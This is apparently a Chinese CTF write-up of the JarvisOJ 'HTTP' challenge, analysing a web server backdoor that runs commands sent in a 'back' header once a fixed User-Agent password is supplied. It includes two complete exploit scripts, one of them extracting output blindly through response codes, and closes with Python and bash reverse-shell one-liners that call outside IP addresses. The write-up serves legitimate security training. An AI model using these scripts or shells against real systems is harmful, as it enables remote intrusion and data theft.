[JarvisOJ][pwn]HTTP (Web服务器后门分析与利用)

96
王一航
2017.05.04 02:46* 字数 1118

简介 :

Try it here:
pwn.jarvisoj.com:9881

题目来源:cncert2016

[http.49cb96c66532dfb92e4879c8693436ff](https://dn.jarvisoj.com/challengefiles/http.49cb96c66532dfb92e4879c8693436ff)

分析 :

这个题其实并不能算是一个 pwn 题 , 个人认为将其归类为逆向更好一点

直接 IDA 载入 (为了方便讲解 , 这里将函数等符号进行了重命名 , 使其更容易理解)


Paste_Image.png

发现是一个标准的 socket 服务器模型 , 使用 fork 处理客户端请求 , 处理请求的函数为 handle , 内容如下 :
事实上这个程序是一个简单的 HTTP 服务器 , 监听 1807 端口
HTTP协议是一种 请求响应式 的协议 (对应于 : 命令响应式协议 (例如 SMTP/FTP 等...))
因此 Web 服务器需要读取并处理用户的请求 , 经过处理之后再将响应体返回给用户

Paste_Image.png

看一下处理用户请求的函数 :
首先将用户的输入分成两个部分 , 请求头和请求体 (HTTP包的请求头之后会紧跟两个连续的 \r\n 标志请求头的结束, 包体之后也同理)
这个函数中单独对 'User-agent: ' 这个响应头进行了处理

Paste_Image.png

如何处理 'User-agent: ' 的呢 ? 跟踪到这个函数 :
发现有 back 字样的字符串 , 这里也判断了响应头中是否存在 back 这个字段

Paste_Image.png

如果 User-agent 等于某一个特定的字符串而且响应头中存在 back 这个字段
那么就会调用 popen 函数 , 相当于可以在目标主机执行任意命令了

Paste_Image.png

这里有对 'User-agent' 字段进行判断 , 这里只是对 get_password 函数的返回结果进行循环的简单异或

Paste_Image.png

再看看 get_password 函数 , 这个函数并没有任何用户的输入进行处理
那么也就是说 , 这个函数实际上返回值是固定的 , 而且返回值是异或之前 password
我们需要得到这个 password , 那么我们其实完全可以不去逆向这个函数
我们只需要对这个程序进行动态调试 , 构造输入让程序执行 get_password 函数
然后直接在内存中查看这里的数据即可

Paste_Image.png
Paste_Image.png

这种将密文进行处理后和明文进行对比的模式其实并没有起到提高逆向难度的作用
因为攻击者只需要将处理密文的函数执行一遍就可以知道确切的返回值

如果是对明文进行处理 , 然后和加密的密文进行比对 , 这样的模式其实才有意义
这可以提高攻击者逆向算法的难度

根据上面的分析 , 我们需要向服务器发送一个 http 请求
如果要触发这个后门 , 我们需要在 http 请求头中包含 User-agent 字段以及 back 字段
其中 User-agent 字段是一个固定的字符串密码
back 字段为被执行的命令

当服务器收到这个请求之后 , 会执行这个命令 , 然后将命令执行的结果作为响应体的包体返回给客户端

其实这个题目并没有涉及到溢出或者是别的程序漏洞 , 这个题目的难点就在于如何分析程序的逻辑
应该归为一个逆向题感觉更合适一点

下面给出一个任意命令执行的脚本 (实际上就是利用这里的后门)


#!/usr/bin/env python

from pwn import *

context.log_level = 21


def get_password():
    counter = 0
    password = ""
    for i in "2016CCRT":
        password += chr(ord(i) ^ counter)
        counter += 1
    return password


def get_payload(command, password):
    payload = ""
    payload += "GET / HTTP/1.1\r\n"
    payload += "User-Agent: %s\r\n" % (password)
    payload += "back: %s\r\n" % (command)
    payload += "\r\n"
    payload += "\r\n"
    return payload


def send_payload(payload):
    Io = remote(HOST, PORT)
    Io.sendline(payload)
    result = Io.read()
    Io.close()
    return result


def execute(command):
    payload = get_payload(command, PASSWORD)
    print "[+] Payload : %s" % (repr(payload))
    return send_payload(payload)


PASSWORD = get_password()

DEBUG = True
# DEBUG = False

if DEBUG:
    HOST = "localhost"
    PORT = 1807
else:
    HOST = "pwn.jarvisoj.com"
    PORT = 9881

print execute("cat flag")

这里在利用的时候发现一个挺奇怪的现象
本地利用是可以成功执行 cat flag 命令并返回结果的
但是连接远程的话 , http 响应中没有命令执行的内容
只是在响应头中的 Content-Length 字段中保存了命令执行输出结果的长度
暂时还不明白原因 , 不过这一点并不影响我们最终拿到 flag

image.png
image.png

这里我们要拿到 flag 首先要确定的是 , 命令是不是真的执行了
可以通过执行 echo 几个不同长度的字符串来判断
经过判断 , 发现命令的确执行了 , 但是结果并没有显示在响应体中
那么这里命令没有回显 , 我们应该如何才可以拿到 flag 呢 ?
这里给出两个解决办法 :

方法一 : 反弹发送 flag

首先需要一台公网服务器去监听一个端口 , 
然后让目标服务器去执行 cat flag 命令 , 
并通过管道和 nc 命令将 cat flag 的输出结果发送给公网服务器的指定端口
优点 : 快速准确 , 直接执行任意命令
缺点 : 通用性不强 , 如果目标服务器不能连接公网 , 那么该方法彻底失效
image.png
image.png

方法二 :

由于我们可以在目标服务器上执行任意命令
虽然我们不能获得命令的执行结果
但是我们可以得到命令结果输出的长度
那么我们就可以使用 awk 等字符串处理命令来逐个字符读取 flag 
然后对这个字符进行判断是不是等于某一个字符
根据判断的结果产生不同的输出
我们就可以根据这个输出的不同来判断这个我们猜测的字符是不是正确 

另一个类似的思路 :

Paste_Image.png
程序在这里对响应体的长度进行了判断 , 如果为 0 则直接响应 HTTP 500 错误
我们其实也可以通过控制执行的命令在猜错的时候不输出任何数据
然后我们就可以通过响应码来判断是不是猜对了
事实上 , 只要我们可以构造输入让正确的猜测和错误的猜测会产生差异的输出就可以了
也就是 sql 注入中盲注的思想
优点 : 二分查找爆破 flag , 不受目标主机防火墙的限制
缺点 : 速度较慢 (在获取大量数据的时候劣势较为明显)
      在执行任意命令的时候需要修改命令 , 例如左右加上 `` 然后通过管道导入 awk
      只能逐个字节读取命令的输出 , 如果命令每次执行结果存在差异
      则该方法失效

下面给出第二种方法的利用脚本

image.png
#!/usr/bin/env python

from pwn import *
import os

context.log_level = 21


def get_password():
    counter = 0
    password = ""
    for i in "2016CCRT":
        password += chr(ord(i) ^ counter)
        counter += 1
    return password


def get_payload(command, password):
    payload = ""
    payload += "GET / HTTP/1.1\r\n"
    payload += "User-Agent: %s\r\n" % (password)
    payload += "back: %s\r\n" % (command)
    payload += "\r\n"
    payload += "\r\n"
    return payload


def send_payload(payload):
    Io = remote(HOST, PORT)
    Io.sendline(payload)
    result = Io.read()
    Io.close()
    return result


def execute(command):
    payload = get_payload(command, PASSWORD)
    print "[+] Payload : %s" % (repr(payload))
    return send_payload(payload)


def guess_one_byte(index, char):
    command = "cat flag|awk '{if(substr($1,%d,1)>\"%s\") print \"%s\"}'" % (
        index + 1, char, "A")
    print "[+] Executing : [%s]" % (command)
    response = execute(command)
    return (response[len("HTTP/1.1 ")] != "5")


def clear_screen():
    os.system("clear")


def guess(LENGTH):
    flag = ""
    for i in range(LENGTH + 1):
        RIGHT = 0x7F
        LEFT = 0x20
        P = (LEFT + RIGHT) / 2
        while True:
            clear_screen()
            print "[+] Flag : [%s]" % (flag)
            if guess_one_byte(i, chr(P)):
                LEFT = P
            else:
                RIGHT = P
            P = (LEFT + RIGHT) / 2
            print abs(RIGHT - LEFT)
            if abs(RIGHT - LEFT) < 2:
                flag += chr(P + 1)
                break
    clear_screen()
    print "[+] Flag : [%s]" % (flag)
    return flag


PASSWORD = get_password()

# DEBUG = True
DEBUG = False

if DEBUG:
    HOST = "localhost"
    PORT = 1807
else:
    HOST = "pwn.jarvisoj.com"
    PORT = 9881

LENGTH = 39

print guess(LENGTH)

后记 :
目标机器存在 python , 也可以利用 python 直接反弹 shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

再次后记 :
bash 反弹 shell

/bin/bash -c 'sh -i >& /dev/tcp/120.24.215.80/5555 0>&1'
CTF
Web note ad 1